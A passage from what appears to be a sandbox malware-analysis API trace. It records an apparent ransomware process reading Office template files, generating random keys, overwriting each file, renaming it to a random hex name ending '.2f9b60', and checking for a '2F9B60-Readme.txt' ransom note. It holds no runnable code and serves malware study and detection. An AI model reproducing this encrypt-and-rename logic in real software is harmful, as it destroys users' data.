lpFileSize=0x2c01fd60 | out: lpFileSize=0x2c01fd60*=4306) returned 1 [0133.189] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x10ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.189] ReadFile (in: hFile=0x1b54, lpBuffer=0x2c01fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c01fd28, lpOverlapped=0x0 | out: lpBuffer=0x2c01fce0*, lpNumberOfBytesRead=0x2c01fd28*=0x4, lpOverlapped=0x0) returned 1 [0133.201] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.201] NtQuerySystemTime (in: CurrentTime=0x2c01fc20 | out: CurrentTime=0x2c01fc20*=132462177384418000) returned 0x0 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x2758b76f [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x58b363f4 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x3cdd8763 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x11899eb1 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x78d884a4 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x79e9e743 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x4d761526 [0133.201] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x2edefd64 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x51a19e5 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x191c2b9a [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x46d665b0 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x3eaf25d4 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x7656e174 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x53bcc3d2 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x3406fa41 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x4c13312a [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x5bb2a114 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x2267406f [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x63dd7b9a [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x6083849 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0xaad90cf [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x60659551 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x136c0aa1 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x11dc7f4f [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x32728977 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x272f288d [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x7a3a2292 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x2339460 [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x7156bb1a [0133.202] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x17c7ac23 [0133.203] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0xb43038e [0133.203] RtlRandomEx (in: Seed=0x2c01fc10 | out: Seed=0x2c01fc10) returned 0x147f1ff [0133.216] ReadFile (in: hFile=0x1b54, lpBuffer=0x1cf3ce60, nNumberOfBytesToRead=0x10d2, lpNumberOfBytesRead=0x2c01fc10, lpOverlapped=0x0 | out: lpBuffer=0x1cf3ce60*, lpNumberOfBytesRead=0x2c01fc10*=0x10d2, lpOverlapped=0x0) returned 1 [0133.229] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.229] WriteFile (in: hFile=0x1b54, lpBuffer=0x1cf40a70*, nNumberOfBytesToWrite=0x10d2, lpNumberOfBytesWritten=0x2c01fc14, lpOverlapped=0x0 | out: lpBuffer=0x1cf40a70*, lpNumberOfBytesWritten=0x2c01fc14*=0x10d2, lpOverlapped=0x0) returned 1 [0133.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0133.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf40a70) returned 1 [0133.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf3ce60) returned 1 [0133.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20266de0 [0133.238] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.238] WriteFile (in: hFile=0x1b54, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c01fd30, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2c01fd30*=0x108, lpOverlapped=0x0) returned 1 [0133.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0133.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0133.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0133.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ff0) returned 1 [0133.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0133.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ff0 [0133.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f60) returned 1 [0133.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f270 [0133.242] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="ff") returned 2 [0133.242] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="44") returned 2 [0133.242] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="40") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="3c") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="86") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="89") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="e5") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="86") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="0b") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="53") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="50") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="25") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="67") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="25") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="c8") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="30") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="b6") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="2a") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="38") returned 2 [0133.243] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="fe") returned 2 [0133.244] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="7d") returned 2 [0133.244] RtlInitAnsiString (in: DestinationString=0x2c01fda8, SourceString="ff44403c8689e5ea860b5350256725c830b62a38fe7d" | out: DestinationString="ff44403c8689e5ea860b5350256725c830b62a38fe7d") [0133.244] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c01fd78, SourceString="ff44403c8689e5ea860b5350256725c830b62a38fe7d", AllocateDestinationString=1 | out: DestinationString="ff44403c8689e5ea860b5350256725c830b62a38fe7d") returned 0x0 [0133.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1cd0 [0133.244] wcscat (in: _Dest=0x1b8625c0, _Source="ff44403c868" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868" [0133.244] wcscat (in: _Dest=0x1b8625c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868.2f9b60" [0133.244] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868.2f9b60", NtPathName=0x2c01fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\ff44403c868.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1193e0 [0133.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0133.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0133.247] NtQueryInformationFile (in: FileHandle=0x1b54, IoStatusBlock=0x2c01fdb8, FileInformation=0x2c01fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c01fdb8, FileInformation=0x2c01fdc8) returned 0x0 [0133.247] NtSetInformationFile (FileHandle=0x1b54, IoStatusBlock=0x2c01fdb8, FileInformation=0x2c01fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0133.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0133.249] FlushFileBuffers (hFile=0x1b54) returned 1 [0138.530] CloseHandle (hObject=0x1b54) returned 1 [0138.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d2c0 [0138.605] wcscpy (in: _Dest=0x2050d2c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.605] wcscat (in: _Dest=0x2050d2c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0139.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0139.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862d50) returned 1 Thread: id = 1870 os_tid = 0xd68 [0133.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft")) returned 0x20 [0133.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft", dwFileAttributes=0x20) returned 1 [0133.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b58 [0133.234] GetFileSizeEx (in: hFile=0x1b58, lpFileSize=0x2c15fce0 | out: lpFileSize=0x2c15fce0*=4397) returned 1 [0133.234] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x1129, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.234] ReadFile (in: hFile=0x1b58, lpBuffer=0x2c15fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c15fca8, lpOverlapped=0x0 | out: lpBuffer=0x2c15fc60*, lpNumberOfBytesRead=0x2c15fca8*=0x4, lpOverlapped=0x0) returned 1 [0133.257] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0133.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266fc0 [0133.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.257] NtQuerySystemTime (in: CurrentTime=0x2c15fba0 | out: CurrentTime=0x2c15fba0*=132462177385042000) returned 0x0 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0xd70ac4f [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x58c9fca3 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x22316841 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x1e826c53 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x24c9c411 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x4947cd81 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x7508c9dc [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x429aec7e [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x4e0e189e [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x606287d6 [0133.257] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x238e2023 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x26e7a97d [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x49d72cb9 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x5782672a [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x293b90 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x391b3814 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x6c7e0fe7 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x520cd45f [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x22ecd853 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x75ce099b [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x58f38ca7 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0xf5c29dd [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x43e3f1d0 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x351e00c6 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x25bb21e3 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0xbfd6870 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x22e2bd23 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x13a36bbf [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x583ccd07 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x4ededab7 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x410a9601 [0133.258] RtlRandomEx (in: Seed=0x2c15fb90 | out: Seed=0x2c15fb90) returned 0x181ba949 [0133.270] ReadFile (in: hFile=0x1b58, lpBuffer=0x1cf3ce60, nNumberOfBytesToRead=0x112d, lpNumberOfBytesRead=0x2c15fb90, lpOverlapped=0x0 | out: lpBuffer=0x1cf3ce60*, lpNumberOfBytesRead=0x2c15fb90*=0x112d, lpOverlapped=0x0) returned 1 [0133.272] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.272] WriteFile (in: hFile=0x1b58, lpBuffer=0x1cf40a70*, nNumberOfBytesToWrite=0x112d, lpNumberOfBytesWritten=0x2c15fb94, lpOverlapped=0x0 | out: lpBuffer=0x1cf40a70*, lpNumberOfBytesWritten=0x2c15fb94*=0x112d, lpOverlapped=0x0) returned 1 [0133.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0133.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0133.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f30) returned 1 [0133.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf40a70) returned 1 [0133.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf3ce60) returned 1 [0133.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f270 [0133.291] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.291] WriteFile (in: hFile=0x1b58, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c15fcb0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2c15fcb0*=0x10e, lpOverlapped=0x0) returned 1 [0133.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0133.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0133.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f60) returned 1 [0133.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20266f60 [0133.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267140 [0133.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267140) returned 1 [0133.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0133.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0133.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd970d0 [0133.304] sprintf (in: _Dest=0x1cd970d0, _Format="%c%c" | out: _Dest="61") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970d2, _Format="%c%c" | out: _Dest="5e") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970d4, _Format="%c%c" | out: _Dest="02") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970d6, _Format="%c%c" | out: _Dest="42") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970d8, _Format="%c%c" | out: _Dest="e8") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970da, _Format="%c%c" | out: _Dest="89") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970dc, _Format="%c%c" | out: _Dest="98") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970de, _Format="%c%c" | out: _Dest="c9") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970e0, _Format="%c%c" | out: _Dest="9f") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970e2, _Format="%c%c" | out: _Dest="da") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970e4, _Format="%c%c" | out: _Dest="77") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970e6, _Format="%c%c" | out: _Dest="28") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970e8, _Format="%c%c" | out: _Dest="43") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970ea, _Format="%c%c" | out: _Dest="78") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970ec, _Format="%c%c" | out: _Dest="2f") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970ee, _Format="%c%c" | out: _Dest="e8") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970f0, _Format="%c%c" | out: _Dest="54") returned 2 [0133.304] sprintf (in: _Dest=0x1cd970f2, _Format="%c%c" | out: _Dest="d2") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970f4, _Format="%c%c" | out: _Dest="e5") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970f6, _Format="%c%c" | out: _Dest="e0") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970f8, _Format="%c%c" | out: _Dest="3c") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970fa, _Format="%c%c" | out: _Dest="5b") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970fc, _Format="%c%c" | out: _Dest="cd") returned 2 [0133.305] sprintf (in: _Dest=0x1cd970fe, _Format="%c%c" | out: _Dest="23") returned 2 [0133.305] sprintf (in: _Dest=0x1cd97100, _Format="%c%c" | out: _Dest="86") returned 2 [0133.305] sprintf (in: _Dest=0x1cd97102, _Format="%c%c" | out: _Dest="19") returned 2 [0133.305] sprintf (in: _Dest=0x1cd97104, _Format="%c%c" | out: _Dest="5a") returned 2 [0133.305] sprintf (in: _Dest=0x1cd97106, _Format="%c%c" | out: _Dest="27") returned 2 [0133.305] RtlInitAnsiString (in: DestinationString=0x2c15fd28, SourceString="615e0242e88998c99fda772843782fe854d2e5e03c5bcd2386195a27" | out: DestinationString="615e0242e88998c99fda772843782fe854d2e5e03c5bcd2386195a27") [0133.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c15fcf8, SourceString="615e0242e88998c99fda772843782fe854d2e5e03c5bcd2386195a27", AllocateDestinationString=1 | out: DestinationString="615e0242e88998c99fda772843782fe854d2e5e03c5bcd2386195a27") returned 0x0 [0133.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dcf0 [0133.306] wcscat (in: _Dest=0x106c40, _Source="615e0242e88998" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998" [0133.306] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998.2f9b60" [0133.306] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998.2f9b60", NtPathName=0x2c15fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\615e0242e88998.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776770 [0133.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0133.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0133.309] NtQueryInformationFile (in: FileHandle=0x1b58, IoStatusBlock=0x2c15fd38, FileInformation=0x2c15fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c15fd38, FileInformation=0x2c15fd48) returned 0x0 [0133.309] NtSetInformationFile (FileHandle=0x1b58, IoStatusBlock=0x2c15fd38, FileInformation=0x2c15fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0133.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0133.311] FlushFileBuffers (hFile=0x1b58) returned 1 [0138.530] CloseHandle (hObject=0x1b58) returned 1 [0138.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c030 [0138.606] wcscpy (in: _Dest=0x2050c030, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0138.606] wcscat (in: _Dest=0x2050c030, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft 